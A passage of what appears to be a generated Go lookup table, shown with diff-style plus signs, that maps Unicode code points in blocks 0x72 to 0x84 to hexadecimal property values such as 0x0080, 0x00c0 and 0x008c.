0x1c55: 0x0080, 0x1c56: 0x0080, 0x1c57: 0x0080, + 0x1c58: 0x0080, 0x1c59: 0x0080, 0x1c5a: 0x0080, 0x1c5b: 0x0080, 0x1c5c: 0x0080, 0x1c5d: 0x0080, + 0x1c5e: 0x0080, 0x1c5f: 0x0080, 0x1c60: 0x0080, 0x1c61: 0x0080, 0x1c62: 0x0080, 0x1c63: 0x0080, + 0x1c64: 0x0080, 0x1c65: 0x0080, 0x1c66: 0x0080, 0x1c67: 0x0080, 0x1c68: 0x0080, 0x1c69: 0x0080, + 0x1c6a: 0x0080, 0x1c6b: 0x0080, 0x1c6c: 0x0080, 0x1c6d: 0x0080, 0x1c6e: 0x0080, 0x1c6f: 0x0080, + 0x1c70: 0x0080, 0x1c71: 0x0080, 0x1c72: 0x0080, 0x1c73: 0x0080, 0x1c74: 0x0080, 0x1c75: 0x0080, + 0x1c76: 0x0080, 0x1c77: 0x0080, 0x1c78: 0x0080, 0x1c79: 0x0080, 0x1c7a: 0x0080, 0x1c7b: 0x0080, + 0x1c7c: 0x0080, 0x1c7d: 0x0080, 0x1c7e: 0x0080, 0x1c7f: 0x0080, + // Block 0x72, offset 0x1c80 + 0x1c80: 0x0080, 0x1c81: 0x0080, 0x1c82: 0x0080, 0x1c83: 0x00c0, 0x1c84: 0x00c0, 0x1c85: 0x0080, + 0x1c86: 0x0080, 0x1c87: 0x0080, 0x1c88: 0x0080, 0x1c89: 0x0080, 0x1c8a: 0x0080, 0x1c8b: 0x0080, + 0x1c90: 0x0080, 0x1c91: 0x0080, + 0x1c92: 0x0080, 0x1c93: 0x0080, 0x1c94: 0x0080, 0x1c95: 0x0080, 0x1c96: 0x0080, 0x1c97: 0x0080, + 0x1c98: 0x0080, 0x1c99: 0x0080, 0x1c9a: 0x0080, 0x1c9b: 0x0080, 0x1c9c: 0x0080, 0x1c9d: 0x0080, + 0x1c9e: 0x0080, 0x1c9f: 0x0080, 0x1ca0: 0x0080, 0x1ca1: 0x0080, 0x1ca2: 0x0080, 0x1ca3: 0x0080, + 0x1ca4: 0x0080, 0x1ca5: 0x0080, 0x1ca6: 0x0080, 0x1ca7: 0x0080, 0x1ca8: 0x0080, 0x1ca9: 0x0080, + 0x1caa: 0x0080, 0x1cab: 0x0080, 0x1cac: 0x0080, 0x1cad: 0x0080, 0x1cae: 0x0080, 0x1caf: 0x0080, + 0x1cb0: 0x0080, 0x1cb1: 0x0080, 0x1cb2: 0x0080, 0x1cb3: 0x0080, 0x1cb4: 0x0080, 0x1cb5: 0x0080, + 0x1cb6: 0x0080, 0x1cb7: 0x0080, 0x1cb8: 0x0080, 0x1cb9: 0x0080, 0x1cba: 0x0080, 0x1cbb: 0x0080, + 0x1cbc: 0x0080, 0x1cbd: 0x0080, 0x1cbe: 0x0080, 0x1cbf: 0x0080, + // Block 0x73, offset 0x1cc0 + 0x1cc0: 0x0080, 0x1cc1: 0x0080, 0x1cc2: 0x0080, 0x1cc3: 0x0080, 0x1cc4: 0x0080, 0x1cc5: 0x0080, + 0x1cc6: 0x0080, 0x1cc7: 0x0080, 0x1cc8: 0x0080, 0x1cc9: 0x0080, 0x1cca: 0x0080, 0x1ccb: 0x0080, + 0x1ccc: 0x0080, 0x1ccd: 0x0080, 0x1cce: 0x0080, 0x1ccf: 0x0080, 0x1cd0: 0x0080, 0x1cd1: 0x0080, + 0x1cd2: 0x0080, 0x1cd3: 0x0080, 0x1cd4: 0x0080, 0x1cd5: 0x0080, 0x1cd6: 0x0080, 0x1cd7: 0x0080, + 0x1cd8: 0x0080, 0x1cd9: 0x0080, 0x1cda: 0x0080, 0x1cdb: 0x0080, 0x1cdc: 0x0080, 0x1cdd: 0x0080, + 0x1cde: 0x0080, 0x1cdf: 0x0080, 0x1ce0: 0x0080, 0x1ce1: 0x0080, 0x1ce2: 0x0080, 0x1ce3: 0x0080, + 0x1ce4: 0x0080, 0x1ce5: 0x0080, 0x1ce6: 0x0080, 0x1ce7: 0x0080, 0x1ce8: 0x0080, 0x1ce9: 0x0080, + 0x1cea: 0x0080, 0x1ceb: 0x0080, 0x1cec: 0x0080, 0x1ced: 0x0080, 0x1cee: 0x0080, 0x1cef: 0x0080, + 0x1cf0: 0x0080, 0x1cf1: 0x0080, 0x1cf2: 0x0080, 0x1cf3: 0x0080, 0x1cf4: 0x0080, 0x1cf5: 0x0080, + 0x1cf6: 0x0080, 0x1cf7: 0x0080, 0x1cf8: 0x0080, 0x1cf9: 0x0080, 0x1cfa: 0x0080, 0x1cfb: 0x0080, + 0x1cfc: 0x0080, 0x1cfd: 0x0080, 0x1cfe: 0x0080, 0x1cff: 0x0080, + // Block 0x74, offset 0x1d00 + 0x1d00: 0x0080, 0x1d01: 0x0080, 0x1d02: 0x0080, 0x1d03: 0x0080, 0x1d04: 0x0080, 0x1d05: 0x0080, + 0x1d06: 0x0080, 0x1d07: 0x0080, 0x1d08: 0x0080, 0x1d09: 0x0080, 0x1d0a: 0x0080, 0x1d0b: 0x0080, + 0x1d0c: 0x0080, 0x1d0d: 0x0080, 0x1d0e: 0x0080, 0x1d0f: 0x0080, 0x1d10: 0x0080, 0x1d11: 0x0080, + 0x1d12: 0x0080, 0x1d13: 0x0080, 0x1d14: 0x0080, 0x1d15: 0x0080, 0x1d16: 0x0080, 0x1d17: 0x0080, + 0x1d18: 0x0080, 0x1d19: 0x0080, 0x1d1a: 0x0080, 0x1d1b: 0x0080, 0x1d1c: 0x0080, 0x1d1d: 0x0080, + 0x1d1e: 0x0080, 0x1d1f: 0x0080, 0x1d20: 0x0080, 0x1d21: 0x0080, 0x1d22: 0x0080, 0x1d23: 0x0080, + 0x1d24: 0x0080, 0x1d25: 0x0080, 0x1d26: 0x0080, + // Block 0x75, offset 0x1d40 + 0x1d40: 0x0080, 0x1d41: 0x0080, 0x1d42: 0x0080, 0x1d43: 0x0080, 0x1d44: 0x0080, 0x1d45: 0x0080, + 0x1d46: 0x0080, 0x1d47: 0x0080, 0x1d48: 0x0080, 0x1d49: 0x0080, 0x1d4a: 0x0080, + 0x1d60: 0x0080, 0x1d61: 0x0080, 0x1d62: 0x0080, 0x1d63: 0x0080, + 0x1d64: 0x0080, 0x1d65: 0x0080, 0x1d66: 0x0080, 0x1d67: 0x0080, 0x1d68: 0x0080, 0x1d69: 0x0080, + 0x1d6a: 0x0080, 0x1d6b: 0x0080, 0x1d6c: 0x0080, 0x1d6d: 0x0080, 0x1d6e: 0x0080, 0x1d6f: 0x0080, + 0x1d70: 0x0080, 0x1d71: 0x0080, 0x1d72: 0x0080, 0x1d73: 0x0080, 0x1d74: 0x0080, 0x1d75: 0x0080, + 0x1d76: 0x0080, 0x1d77: 0x0080, 0x1d78: 0x0080, 0x1d79: 0x0080, 0x1d7a: 0x0080, 0x1d7b: 0x0080, + 0x1d7c: 0x0080, 0x1d7d: 0x0080, 0x1d7e: 0x0080, 0x1d7f: 0x0080, + // Block 0x76, offset 0x1d80 + 0x1d80: 0x0080, 0x1d81: 0x0080, 0x1d82: 0x0080, 0x1d83: 0x0080, 0x1d84: 0x0080, 0x1d85: 0x0080, + 0x1d86: 0x0080, 0x1d87: 0x0080, 0x1d88: 0x0080, 0x1d89: 0x0080, 0x1d8a: 0x0080, 0x1d8b: 0x0080, + 0x1d8c: 0x0080, 0x1d8d: 0x0080, 0x1d8e: 0x0080, 0x1d8f: 0x0080, 0x1d90: 0x0080, 0x1d91: 0x0080, + 0x1d92: 0x0080, 0x1d93: 0x0080, 0x1d94: 0x0080, 0x1d95: 0x0080, 0x1d96: 0x0080, 0x1d97: 0x0080, + 0x1d98: 0x0080, 0x1d99: 0x0080, 0x1d9a: 0x0080, 0x1d9b: 0x0080, 0x1d9c: 0x0080, 0x1d9d: 0x0080, + 0x1d9e: 0x0080, 0x1d9f: 0x0080, 0x1da0: 0x0080, 0x1da1: 0x0080, 0x1da2: 0x0080, 0x1da3: 0x0080, + 0x1da4: 0x0080, 0x1da5: 0x0080, 0x1da6: 0x0080, 0x1da7: 0x0080, 0x1da8: 0x0080, 0x1da9: 0x0080, + 0x1daa: 0x0080, 0x1dab: 0x0080, 0x1dac: 0x0080, 0x1dad: 0x0080, 0x1dae: 0x0080, 0x1daf: 0x0080, + 0x1db0: 0x0080, 0x1db1: 0x0080, 0x1db2: 0x0080, 0x1db3: 0x0080, + 0x1db6: 0x0080, 0x1db7: 0x0080, 0x1db8: 0x0080, 0x1db9: 0x0080, 0x1dba: 0x0080, 0x1dbb: 0x0080, + 0x1dbc: 0x0080, 0x1dbd: 0x0080, 0x1dbe: 0x0080, 0x1dbf: 0x0080, + // Block 0x77, offset 0x1dc0 + 0x1dc0: 0x0080, 0x1dc1: 0x0080, 0x1dc2: 0x0080, 0x1dc3: 0x0080, 0x1dc4: 0x0080, 0x1dc5: 0x0080, + 0x1dc6: 0x0080, 0x1dc7: 0x0080, 0x1dc8: 0x0080, 0x1dc9: 0x0080, 0x1dca: 0x0080, 0x1dcb: 0x0080, + 0x1dcc: 0x0080, 0x1dcd: 0x0080, 0x1dce: 0x0080, 0x1dcf: 0x0080, 0x1dd0: 0x0080, 0x1dd1: 0x0080, + 0x1dd2: 0x0080, 0x1dd3: 0x0080, 0x1dd4: 0x0080, 0x1dd5: 0x0080, 0x1dd7: 0x0080, + 0x1dd8: 0x0080, 0x1dd9: 0x0080, 0x1dda: 0x0080, 0x1ddb: 0x0080, 0x1ddc: 0x0080, 0x1ddd: 0x0080, + 0x1dde: 0x0080, 0x1ddf: 0x0080, 0x1de0: 0x0080, 0x1de1: 0x0080, 0x1de2: 0x0080, 0x1de3: 0x0080, + 0x1de4: 0x0080, 0x1de5: 0x0080, 0x1de6: 0x0080, 0x1de7: 0x0080, 0x1de8: 0x0080, 0x1de9: 0x0080, + 0x1dea: 0x0080, 0x1deb: 0x0080, 0x1dec: 0x0080, 0x1ded: 0x0080, 0x1dee: 0x0080, 0x1def: 0x0080, + 0x1df0: 0x0080, 0x1df1: 0x0080, 0x1df2: 0x0080, 0x1df3: 0x0080, 0x1df4: 0x0080, 0x1df5: 0x0080, + 0x1df6: 0x0080, 0x1df7: 0x0080, 0x1df8: 0x0080, 0x1df9: 0x0080, 0x1dfa: 0x0080, 0x1dfb: 0x0080, + 0x1dfc: 0x0080, 0x1dfd: 0x0080, 0x1dfe: 0x0080, 0x1dff: 0x0080, + // Block 0x78, offset 0x1e00 + 0x1e00: 0x00c0, 0x1e01: 0x00c0, 0x1e02: 0x00c0, 0x1e03: 0x00c0, 0x1e04: 0x00c0, 0x1e05: 0x00c0, + 0x1e06: 0x00c0, 0x1e07: 0x00c0, 0x1e08: 0x00c0, 0x1e09: 0x00c0, 0x1e0a: 0x00c0, 0x1e0b: 0x00c0, + 0x1e0c: 0x00c0, 0x1e0d: 0x00c0, 0x1e0e: 0x00c0, 0x1e0f: 0x00c0, 0x1e10: 0x00c0, 0x1e11: 0x00c0, + 0x1e12: 0x00c0, 0x1e13: 0x00c0, 0x1e14: 0x00c0, 0x1e15: 0x00c0, 0x1e16: 0x00c0, 0x1e17: 0x00c0, + 0x1e18: 0x00c0, 0x1e19: 0x00c0, 0x1e1a: 0x00c0, 0x1e1b: 0x00c0, 0x1e1c: 0x00c0, 0x1e1d: 0x00c0, + 0x1e1e: 0x00c0, 0x1e1f: 0x00c0, 0x1e20: 0x00c0, 0x1e21: 0x00c0, 0x1e22: 0x00c0, 0x1e23: 0x00c0, + 0x1e24: 0x00c0, 0x1e25: 0x00c0, 0x1e26: 0x00c0, 0x1e27: 0x00c0, 0x1e28: 0x00c0, 0x1e29: 0x00c0, + 0x1e2a: 0x00c0, 0x1e2b: 0x00c0, 0x1e2c: 0x00c0, 0x1e2d: 0x00c0, 0x1e2e: 0x00c0, 0x1e2f: 0x00c0, + 0x1e30: 0x00c0, 0x1e31: 0x00c0, 0x1e32: 0x00c0, 0x1e33: 0x00c0, 0x1e34: 0x00c0, 0x1e35: 0x00c0, + 0x1e36: 0x00c0, 0x1e37: 0x00c0, 0x1e38: 0x00c0, 0x1e39: 0x00c0, 0x1e3a: 0x00c0, 0x1e3b: 0x00c0, + 0x1e3c: 0x0080, 0x1e3d: 0x0080, 0x1e3e: 0x00c0, 0x1e3f: 0x00c0, + // Block 0x79, offset 0x1e40 + 0x1e40: 0x00c0, 0x1e41: 0x00c0, 0x1e42: 0x00c0, 0x1e43: 0x00c0, 0x1e44: 0x00c0, 0x1e45: 0x00c0, + 0x1e46: 0x00c0, 0x1e47: 0x00c0, 0x1e48: 0x00c0, 0x1e49: 0x00c0, 0x1e4a: 0x00c0, 0x1e4b: 0x00c0, + 0x1e4c: 0x00c0, 0x1e4d: 0x00c0, 0x1e4e: 0x00c0, 0x1e4f: 0x00c0, 0x1e50: 0x00c0, 0x1e51: 0x00c0, + 0x1e52: 0x00c0, 0x1e53: 0x00c0, 0x1e54: 0x00c0, 0x1e55: 0x00c0, 0x1e56: 0x00c0, 0x1e57: 0x00c0, + 0x1e58: 0x00c0, 0x1e59: 0x00c0, 0x1e5a: 0x00c0, 0x1e5b: 0x00c0, 0x1e5c: 0x00c0, 0x1e5d: 0x00c0, + 0x1e5e: 0x00c0, 0x1e5f: 0x00c0, 0x1e60: 0x00c0, 0x1e61: 0x00c0, 0x1e62: 0x00c0, 0x1e63: 0x00c0, + 0x1e64: 0x00c0, 0x1e65: 0x0080, 0x1e66: 0x0080, 0x1e67: 0x0080, 0x1e68: 0x0080, 0x1e69: 0x0080, + 0x1e6a: 0x0080, 0x1e6b: 0x00c0, 0x1e6c: 0x00c0, 0x1e6d: 0x00c0, 0x1e6e: 0x00c0, 0x1e6f: 0x00c3, + 0x1e70: 0x00c3, 0x1e71: 0x00c3, 0x1e72: 0x00c0, 0x1e73: 0x00c0, + 0x1e79: 0x0080, 0x1e7a: 0x0080, 0x1e7b: 0x0080, + 0x1e7c: 0x0080, 0x1e7d: 0x0080, 0x1e7e: 0x0080, 0x1e7f: 0x0080, + // Block 0x7a, offset 0x1e80 + 0x1e80: 0x00c0, 0x1e81: 0x00c0, 0x1e82: 0x00c0, 0x1e83: 0x00c0, 0x1e84: 0x00c0, 0x1e85: 0x00c0, + 0x1e86: 0x00c0, 0x1e87: 0x00c0, 0x1e88: 0x00c0, 0x1e89: 0x00c0, 0x1e8a: 0x00c0, 0x1e8b: 0x00c0, + 0x1e8c: 0x00c0, 0x1e8d: 0x00c0, 0x1e8e: 0x00c0, 0x1e8f: 0x00c0, 0x1e90: 0x00c0, 0x1e91: 0x00c0, + 0x1e92: 0x00c0, 0x1e93: 0x00c0, 0x1e94: 0x00c0, 0x1e95: 0x00c0, 0x1e96: 0x00c0, 0x1e97: 0x00c0, + 0x1e98: 0x00c0, 0x1e99: 0x00c0, 0x1e9a: 0x00c0, 0x1e9b: 0x00c0, 0x1e9c: 0x00c0, 0x1e9d: 0x00c0, + 0x1e9e: 0x00c0, 0x1e9f: 0x00c0, 0x1ea0: 0x00c0, 0x1ea1: 0x00c0, 0x1ea2: 0x00c0, 0x1ea3: 0x00c0, + 0x1ea4: 0x00c0, 0x1ea5: 0x00c0, 0x1ea7: 0x00c0, + 0x1ead: 0x00c0, + 0x1eb0: 0x00c0, 0x1eb1: 0x00c0, 0x1eb2: 0x00c0, 0x1eb3: 0x00c0, 0x1eb4: 0x00c0, 0x1eb5: 0x00c0, + 0x1eb6: 0x00c0, 0x1eb7: 0x00c0, 0x1eb8: 0x00c0, 0x1eb9: 0x00c0, 0x1eba: 0x00c0, 0x1ebb: 0x00c0, + 0x1ebc: 0x00c0, 0x1ebd: 0x00c0, 0x1ebe: 0x00c0, 0x1ebf: 0x00c0, + // Block 0x7b, offset 0x1ec0 + 0x1ec0: 0x00c0, 0x1ec1: 0x00c0, 0x1ec2: 0x00c0, 0x1ec3: 0x00c0, 0x1ec4: 0x00c0, 0x1ec5: 0x00c0, + 0x1ec6: 0x00c0, 0x1ec7: 0x00c0, 0x1ec8: 0x00c0, 0x1ec9: 0x00c0, 0x1eca: 0x00c0, 0x1ecb: 0x00c0, + 0x1ecc: 0x00c0, 0x1ecd: 0x00c0, 0x1ece: 0x00c0, 0x1ecf: 0x00c0, 0x1ed0: 0x00c0, 0x1ed1: 0x00c0, + 0x1ed2: 0x00c0, 0x1ed3: 0x00c0, 0x1ed4: 0x00c0, 0x1ed5: 0x00c0, 0x1ed6: 0x00c0, 0x1ed7: 0x00c0, + 0x1ed8: 0x00c0, 0x1ed9: 0x00c0, 0x1eda: 0x00c0, 0x1edb: 0x00c0, 0x1edc: 0x00c0, 0x1edd: 0x00c0, + 0x1ede: 0x00c0, 0x1edf: 0x00c0, 0x1ee0: 0x00c0, 0x1ee1: 0x00c0, 0x1ee2: 0x00c0, 0x1ee3: 0x00c0, + 0x1ee4: 0x00c0, 0x1ee5: 0x00c0, 0x1ee6: 0x00c0, 0x1ee7: 0x00c0, + 0x1eef: 0x0080, + 0x1ef0: 0x0080, + 0x1eff: 0x00c6, + // Block 0x7c, offset 0x1f00 + 0x1f00: 0x00c0, 0x1f01: 0x00c0, 0x1f02: 0x00c0, 0x1f03: 0x00c0, 0x1f04: 0x00c0, 0x1f05: 0x00c0, + 0x1f06: 0x00c0, 0x1f07: 0x00c0, 0x1f08: 0x00c0, 0x1f09: 0x00c0, 0x1f0a: 0x00c0, 0x1f0b: 0x00c0, + 0x1f0c: 0x00c0, 0x1f0d: 0x00c0, 0x1f0e: 0x00c0, 0x1f0f: 0x00c0, 0x1f10: 0x00c0, 0x1f11: 0x00c0, + 0x1f12: 0x00c0, 0x1f13: 0x00c0, 0x1f14: 0x00c0, 0x1f15: 0x00c0, 0x1f16: 0x00c0, + 0x1f20: 0x00c0, 0x1f21: 0x00c0, 0x1f22: 0x00c0, 0x1f23: 0x00c0, + 0x1f24: 0x00c0, 0x1f25: 0x00c0, 0x1f26: 0x00c0, 0x1f28: 0x00c0, 0x1f29: 0x00c0, + 0x1f2a: 0x00c0, 0x1f2b: 0x00c0, 0x1f2c: 0x00c0, 0x1f2d: 0x00c0, 0x1f2e: 0x00c0, + 0x1f30: 0x00c0, 0x1f31: 0x00c0, 0x1f32: 0x00c0, 0x1f33: 0x00c0, 0x1f34: 0x00c0, 0x1f35: 0x00c0, + 0x1f36: 0x00c0, 0x1f38: 0x00c0, 0x1f39: 0x00c0, 0x1f3a: 0x00c0, 0x1f3b: 0x00c0, + 0x1f3c: 0x00c0, 0x1f3d: 0x00c0, 0x1f3e: 0x00c0, + // Block 0x7d, offset 0x1f40 + 0x1f40: 0x00c0, 0x1f41: 0x00c0, 0x1f42: 0x00c0, 0x1f43: 0x00c0, 0x1f44: 0x00c0, 0x1f45: 0x00c0, + 0x1f46: 0x00c0, 0x1f48: 0x00c0, 0x1f49: 0x00c0, 0x1f4a: 0x00c0, 0x1f4b: 0x00c0, + 0x1f4c: 0x00c0, 0x1f4d: 0x00c0, 0x1f4e: 0x00c0, 0x1f50: 0x00c0, 0x1f51: 0x00c0, + 0x1f52: 0x00c0, 0x1f53: 0x00c0, 0x1f54: 0x00c0, 0x1f55: 0x00c0, 0x1f56: 0x00c0, + 0x1f58: 0x00c0, 0x1f59: 0x00c0, 0x1f5a: 0x00c0, 0x1f5b: 0x00c0, 0x1f5c: 0x00c0, 0x1f5d: 0x00c0, + 0x1f5e: 0x00c0, 0x1f60: 0x00c3, 0x1f61: 0x00c3, 0x1f62: 0x00c3, 0x1f63: 0x00c3, + 0x1f64: 0x00c3, 0x1f65: 0x00c3, 0x1f66: 0x00c3, 0x1f67: 0x00c3, 0x1f68: 0x00c3, 0x1f69: 0x00c3, + 0x1f6a: 0x00c3, 0x1f6b: 0x00c3, 0x1f6c: 0x00c3, 0x1f6d: 0x00c3, 0x1f6e: 0x00c3, 0x1f6f: 0x00c3, + 0x1f70: 0x00c3, 0x1f71: 0x00c3, 0x1f72: 0x00c3, 0x1f73: 0x00c3, 0x1f74: 0x00c3, 0x1f75: 0x00c3, + 0x1f76: 0x00c3, 0x1f77: 0x00c3, 0x1f78: 0x00c3, 0x1f79: 0x00c3, 0x1f7a: 0x00c3, 0x1f7b: 0x00c3, + 0x1f7c: 0x00c3, 0x1f7d: 0x00c3, 0x1f7e: 0x00c3, 0x1f7f: 0x00c3, + // Block 0x7e, offset 0x1f80 + 0x1f80: 0x0080, 0x1f81: 0x0080, 0x1f82: 0x0080, 0x1f83: 0x0080, 0x1f84: 0x0080, 0x1f85: 0x0080, + 0x1f86: 0x0080, 0x1f87: 0x0080, 0x1f88: 0x0080, 0x1f89: 0x0080, 0x1f8a: 0x0080, 0x1f8b: 0x0080, + 0x1f8c: 0x0080, 0x1f8d: 0x0080, 0x1f8e: 0x0080, 0x1f8f: 0x0080, 0x1f90: 0x0080, 0x1f91: 0x0080, + 0x1f92: 0x0080, 0x1f93: 0x0080, 0x1f94: 0x0080, 0x1f95: 0x0080, 0x1f96: 0x0080, 0x1f97: 0x0080, + 0x1f98: 0x0080, 0x1f99: 0x0080, 0x1f9a: 0x0080, 0x1f9b: 0x0080, 0x1f9c: 0x0080, 0x1f9d: 0x0080, + 0x1f9e: 0x0080, 0x1f9f: 0x0080, 0x1fa0: 0x0080, 0x1fa1: 0x0080, 0x1fa2: 0x0080, 0x1fa3: 0x0080, + 0x1fa4: 0x0080, 0x1fa5: 0x0080, 0x1fa6: 0x0080, 0x1fa7: 0x0080, 0x1fa8: 0x0080, 0x1fa9: 0x0080, + 0x1faa: 0x0080, 0x1fab: 0x0080, 0x1fac: 0x0080, 0x1fad: 0x0080, 0x1fae: 0x0080, 0x1faf: 0x00c0, + 0x1fb0: 0x0080, 0x1fb1: 0x0080, 0x1fb2: 0x0080, 0x1fb3: 0x0080, 0x1fb4: 0x0080, 0x1fb5: 0x0080, + 0x1fb6: 0x0080, 0x1fb7: 0x0080, 0x1fb8: 0x0080, 0x1fb9: 0x0080, 0x1fba: 0x0080, 0x1fbb: 0x0080, + 0x1fbc: 0x0080, 0x1fbd: 0x0080, 0x1fbe: 0x0080, 0x1fbf: 0x0080, + // Block 0x7f, offset 0x1fc0 + 0x1fc0: 0x0080, 0x1fc1: 0x0080, 0x1fc2: 0x0080, 0x1fc3: 0x0080, 0x1fc4: 0x0080, 0x1fc5: 0x0080, + 0x1fc6: 0x0080, 0x1fc7: 0x0080, 0x1fc8: 0x0080, 0x1fc9: 0x0080, 0x1fca: 0x0080, 0x1fcb: 0x0080, + 0x1fcc: 0x0080, 0x1fcd: 0x0080, 0x1fce: 0x0080, 0x1fcf: 0x0080, 0x1fd0: 0x0080, 0x1fd1: 0x0080, + 0x1fd2: 0x0080, 0x1fd3: 0x0080, 0x1fd4: 0x0080, 0x1fd5: 0x0080, 0x1fd6: 0x0080, 0x1fd7: 0x0080, + 0x1fd8: 0x0080, 0x1fd9: 0x0080, 0x1fda: 0x0080, 0x1fdb: 0x0080, 0x1fdc: 0x0080, 0x1fdd: 0x0080, + // Block 0x80, offset 0x2000 + 0x2000: 0x008c, 0x2001: 0x008c, 0x2002: 0x008c, 0x2003: 0x008c, 0x2004: 0x008c, 0x2005: 0x008c, + 0x2006: 0x008c, 0x2007: 0x008c, 0x2008: 0x008c, 0x2009: 0x008c, 0x200a: 0x008c, 0x200b: 0x008c, + 0x200c: 0x008c, 0x200d: 0x008c, 0x200e: 0x008c, 0x200f: 0x008c, 0x2010: 0x008c, 0x2011: 0x008c, + 0x2012: 0x008c, 0x2013: 0x008c, 0x2014: 0x008c, 0x2015: 0x008c, 0x2016: 0x008c, 0x2017: 0x008c, + 0x2018: 0x008c, 0x2019: 0x008c, 0x201b: 0x008c, 0x201c: 0x008c, 0x201d: 0x008c, + 0x201e: 0x008c, 0x201f: 0x008c, 0x2020: 0x008c, 0x2021: 0x008c, 0x2022: 0x008c, 0x2023: 0x008c, + 0x2024: 0x008c, 0x2025: 0x008c, 0x2026: 0x008c, 0x2027: 0x008c, 0x2028: 0x008c, 0x2029: 0x008c, + 0x202a: 0x008c, 0x202b: 0x008c, 0x202c: 0x008c, 0x202d: 0x008c, 0x202e: 0x008c, 0x202f: 0x008c, + 0x2030: 0x008c, 0x2031: 0x008c, 0x2032: 0x008c, 0x2033: 0x008c, 0x2034: 0x008c, 0x2035: 0x008c, + 0x2036: 0x008c, 0x2037: 0x008c, 0x2038: 0x008c, 0x2039: 0x008c, 0x203a: 0x008c, 0x203b: 0x008c, + 0x203c: 0x008c, 0x203d: 0x008c, 0x203e: 0x008c, 0x203f: 0x008c, + // Block 0x81, offset 0x2040 + 0x2040: 0x008c, 0x2041: 0x008c, 0x2042: 0x008c, 0x2043: 0x008c, 0x2044: 0x008c, 0x2045: 0x008c, + 0x2046: 0x008c, 0x2047: 0x008c, 0x2048: 0x008c, 0x2049: 0x008c, 0x204a: 0x008c, 0x204b: 0x008c, + 0x204c: 0x008c, 0x204d: 0x008c, 0x204e: 0x008c, 0x204f: 0x008c, 0x2050: 0x008c, 0x2051: 0x008c, + 0x2052: 0x008c, 0x2053: 0x008c, 0x2054: 0x008c, 0x2055: 0x008c, 0x2056: 0x008c, 0x2057: 0x008c, + 0x2058: 0x008c, 0x2059: 0x008c, 0x205a: 0x008c, 0x205b: 0x008c, 0x205c: 0x008c, 0x205d: 0x008c, + 0x205e: 0x008c, 0x205f: 0x008c, 0x2060: 0x008c, 0x2061: 0x008c, 0x2062: 0x008c, 0x2063: 0x008c, + 0x2064: 0x008c, 0x2065: 0x008c, 0x2066: 0x008c, 0x2067: 0x008c, 0x2068: 0x008c, 0x2069: 0x008c, + 0x206a: 0x008c, 0x206b: 0x008c, 0x206c: 0x008c, 0x206d: 0x008c, 0x206e: 0x008c, 0x206f: 0x008c, + 0x2070: 0x008c, 0x2071: 0x008c, 0x2072: 0x008c, 0x2073: 0x008c, + // Block 0x82, offset 0x2080 + 0x2080: 0x008c, 0x2081: 0x008c, 0x2082: 0x008c, 0x2083: 0x008c, 0x2084: 0x008c, 0x2085: 0x008c, + 0x2086: 0x008c, 0x2087: 0x008c, 0x2088: 0x008c, 0x2089: 0x008c, 0x208a: 0x008c, 0x208b: 0x008c, + 0x208c: 0x008c, 0x208d: 0x008c, 0x208e: 0x008c, 0x208f: 0x008c, 0x2090: 0x008c, 0x2091: 0x008c, + 0x2092: 0x008c, 0x2093: 0x008c, 0x2094: 0x008c, 0x2095: 0x008c, 0x2096: 0x008c, 0x2097: 0x008c, + 0x2098: 0x008c, 0x2099: 0x008c, 0x209a: 0x008c, 0x209b: 0x008c, 0x209c: 0x008c, 0x209d: 0x008c, + 0x209e: 0x008c, 0x209f: 0x008c, 0x20a0: 0x008c, 0x20a1: 0x008c, 0x20a2: 0x008c, 0x20a3: 0x008c, + 0x20a4: 0x008c, 0x20a5: 0x008c, 0x20a6: 0x008c, 0x20a7: 0x008c, 0x20a8: 0x008c, 0x20a9: 0x008c, + 0x20aa: 0x008c, 0x20ab: 0x008c, 0x20ac: 0x008c, 0x20ad: 0x008c, 0x20ae: 0x008c, 0x20af: 0x008c, + 0x20b0: 0x008c, 0x20b1: 0x008c, 0x20b2: 0x008c, 0x20b3: 0x008c, 0x20b4: 0x008c, 0x20b5: 0x008c, + 0x20b6: 0x008c, 0x20b7: 0x008c, 0x20b8: 0x008c, 0x20b9: 0x008c, 0x20ba: 0x008c, 0x20bb: 0x008c, + 0x20bc: 0x008c, 0x20bd: 0x008c, 0x20be: 0x008c, 0x20bf: 0x008c, + // Block 0x83, offset 0x20c0 + 0x20c0: 0x008c, 0x20c1: 0x008c, 0x20c2: 0x008c, 0x20c3: 0x008c, 0x20c4: 0x008c, 0x20c5: 0x008c, + 0x20c6: 0x008c, 0x20c7: 0x008c, 0x20c8: 0x008c, 0x20c9: 0x008c, 0x20ca: 0x008c, 0x20cb: 0x008c, + 0x20cc: 0x008c, 0x20cd: 0x008c, 0x20ce: 0x008c, 0x20cf: 0x008c, 0x20d0: 0x008c, 0x20d1: 0x008c, + 0x20d2: 0x008c, 0x20d3: 0x008c, 0x20d4: 0x008c, 0x20d5: 0x008c, + 0x20f0: 0x0080, 0x20f1: 0x0080, 0x20f2: 0x0080, 0x20f3: 0x0080, 0x20f4: 0x0080, 0x20f5: 0x0080, + 0x20f6: 0x0080, 0x20f7: 0x0080, 0x20f8: 0x0080, 0x20f9: 0x0080, 0x20fa: 0x0080, 0x20fb: 0x0080, + // Block 0x84, offset 0x2100 + 0x2100: 0x0080, 0x2101: 0x0080, 0x2102: 0x0080, 0x2103: 0x0080, 0x2104: 0x0080, 0x2105: 0x00cc, + 0x2106: 0x00c0, 0x2107: 0x00cc, 0x2108: 0x0080, 0x2109: 0x0080, 0x210a: 0x0080, 0x210b: 0x0080, + 0x210c: 0x0080, 0x210d: 0x0080, 0x210e: 0x0080, 0x210f: 0x0080, 0x2110: 0x0080, 0x2111: 0x0080, + 0x2112: 0x0080, 0x2113: 0x0080, 0x2114: 0x0080, 0x2115: 0x0080, 0x2116: 0x0080, 0x2117: 0x0080, + 0x2118: 0x0080, 0x2119: 0x0080, 0x211a: 0x0080, 0x211b: 0x0080, 0x211c: 0x0080, 0x211d: 0x0080, + 0x211e: 0x0080, 0x211f: 0x0080, 0x2120: 0x0080, 0x2121: 0x008c, 0x2122: 0x008c, 0x2123: 0x008c, + 0x2124: 0x008c, 0x2125: 0x008c, 0x2126: 0x008c, 0x2127: 0x008c, 0x2128: 0x008c, 0x2129: 0x008c, + 0x212a: 0x00c3, 0x212b: 0x00c3, 0x212c: 0x00c3, 0x212d: 0x00c3, 0x212e: 0x0040, 0x212f: 0x0040, + 0x2130: 0x0080, 0x2131: 0x0040, 0x2132: 0x0040, 0x2133: 0x0040, 0x2134: 0x0040, 0x2135: 0x0040, + 0x2136: 0x0080, 0x2137: 0x0080, 0x2138: 0x008c, 0x2139: 0x008c, 0x213a: 